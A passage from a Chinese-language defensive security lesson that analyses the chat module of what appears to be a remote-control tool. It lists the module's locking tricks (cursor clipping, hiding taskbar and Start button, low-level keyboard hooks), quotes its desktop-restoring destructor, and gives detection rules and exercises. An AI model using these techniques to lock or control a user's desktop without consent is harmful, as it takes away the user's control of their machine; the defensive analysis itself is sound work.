| 限制光标 | 限制用户操作范围 | ClipCursor 调用和窗口范围 |
| 隐藏桌面元素 | 干扰任务栏、桌面和开始按钮 | ShowWindow 隐藏 Shell 窗口 |
| 低层键盘钩子 | 拦截系统快捷键 | WH_KEYBOARD_LL 行为 |
| 高权限进程操作 | 影响系统安全边界 | 高权限 API 调用、权限提升事件 |
合法远程协助工具可以有“锁定用户操作”能力,但必须满足几个条件:
| 条件 | 说明 |
|---|---|
| 用户主动同意 | 用户清楚知道谁在协助、协助什么 |
| 可随时退出 | 用户必须能结束会话或恢复控制 |
| 明确提示 | 窗口标题、运维人员身份、工单号都要可见 |
| 完整记录 | 锁定、解锁、发送消息、关闭会话都要记录 |
| 最小控制 | 能不用锁屏就不用锁屏,能局部限制就不全局限制 |
# 12. 析构函数:恢复状态很重要
析构函数里如果发现处于锁定状态,会尝试恢复钩子、光标、屏保状态和桌面元素。
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:167-184
// 防御分析注释:
// 1. 如果 user == 1,说明模块曾进入屏幕锁定相关状态。
// 2. 析构时尝试恢复钩子、光标和桌面元素。
// 3. 应急处置时不能只杀进程,还要确认用户桌面是否恢复正常。
CChatManager::~CChatManager()
{
if (!m_buser)
return;
if (user == 1)
{
UnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING,
false, 0, SPIF_UPDATEINIFILE);
ShowWindow(FindWindow(_T("Shell_TrayWnd"), NULL), SW_SHOW);
ShowWindow(FindWindow(_T("Button"), _T("开始")), SW_SHOW);
ShowWindow(FindWindow(_T("Progman"), NULL), SW_SHOW);
user = 0;
}
if (m_hWnd)
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
这一段对防御处置有价值:如果发现类似行为,处置脚本或人工流程要检查光标限制、任务栏显示、桌面显示、键盘钩子和用户会话状态。
# 13. 合法远程协助的安全控制

远程交谈模块最应该补的不是“更多功能”,而是安全边界:
| 控制点 | 建议 |
|---|---|
| 用户可见 | 窗口标题显示组织、工单、运维人员身份 |
| 授权确认 | 用户点击确认后才能开始会话 |
| 可退出 | 结束按钮必须可用,且不被远端禁用 |
| 记录保存 | 双方消息、控制命令、锁定/解锁时间全部记录 |
| 敏感提示 | 不允许索要密码、验证码、私钥、令牌 |
| 控制限制 | 禁止静默键盘钩子和强制隐藏桌面元素 |
| 管理员确认 | 涉及权限提升或锁屏必须二次确认 |
# 14. 企业检测点
远程交谈检测要同时看 UI、进程、网络和用户行为。
| 检测面 | 关注点 | 关联方式 |
|---|---|---|
| 网络会话 | TOKEN_CHAT_START、聊天文本、控制命令 | 会话来源、持续时间、对端地址 |
| 窗口行为 | 置顶窗口、隐藏/恢复、对话框创建 | 窗口类、标题、所属进程 |
| 用户控制 | ClipCursor、屏保状态、Shell 窗口隐藏 | 是否影响用户正常操作 |
| 键盘行为 | 低层键盘钩子 | 调用进程、时间窗口、是否有授权 |
| 交谈内容 | 是否索要敏感信息 | 关键词、工单号、身份验证 |
| 状态恢复 | 解锁后桌面是否恢复 | 光标、任务栏、桌面、开始按钮 |
建议关联逻辑:
异常插件进程建立长连接
-> 发送 TOKEN_CHAT_START
-> 创建置顶聊天窗口
-> 收发文本消息
-> 触发锁定或隐藏桌面元素
-> 调用低层键盘钩子或限制光标
-> 触发远程交互风险告警
2
3
4
5
6
7
# 15. 合法练习题
- 只阅读源码,画出
CChatManager从构造函数到创建聊天窗口的生命周期。 - 整理
COMMAND_CHAT_*与行为的对应关系,并标出哪些属于高风险控制命令。 - 画出文本包和单字节命令包的业务载荷格式,说明
nSize == 1的判断含义。 - 从防御角度写一条规则:异常进程创建置顶聊天窗口后,又限制光标范围并隐藏任务栏。
- 设计合法远程协助聊天记录字段:会话 ID、工单号、双方身份、消息内容、时间、控制命令。
- 写一份企业规范:远程协助过程中禁止向用户索要哪些敏感信息。
- 说明为什么“结束交谈按钮默认禁用”不符合安全工程设计。
# 16. 本课小结
远程交谈模块看似只是聊天,但源码里还包含关闭、锁定、解锁等控制命令,并能影响用户桌面和输入行为。安全工程视角下,它必须被当作用户交互控制能力,而不是普通消息窗口。
合法远程协助工具要做到透明、可确认、可退出、可追溯。下一课会进入更敏感的键盘记录模块,届时只从防御角度分析输入捕获风险和企业防护策略。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言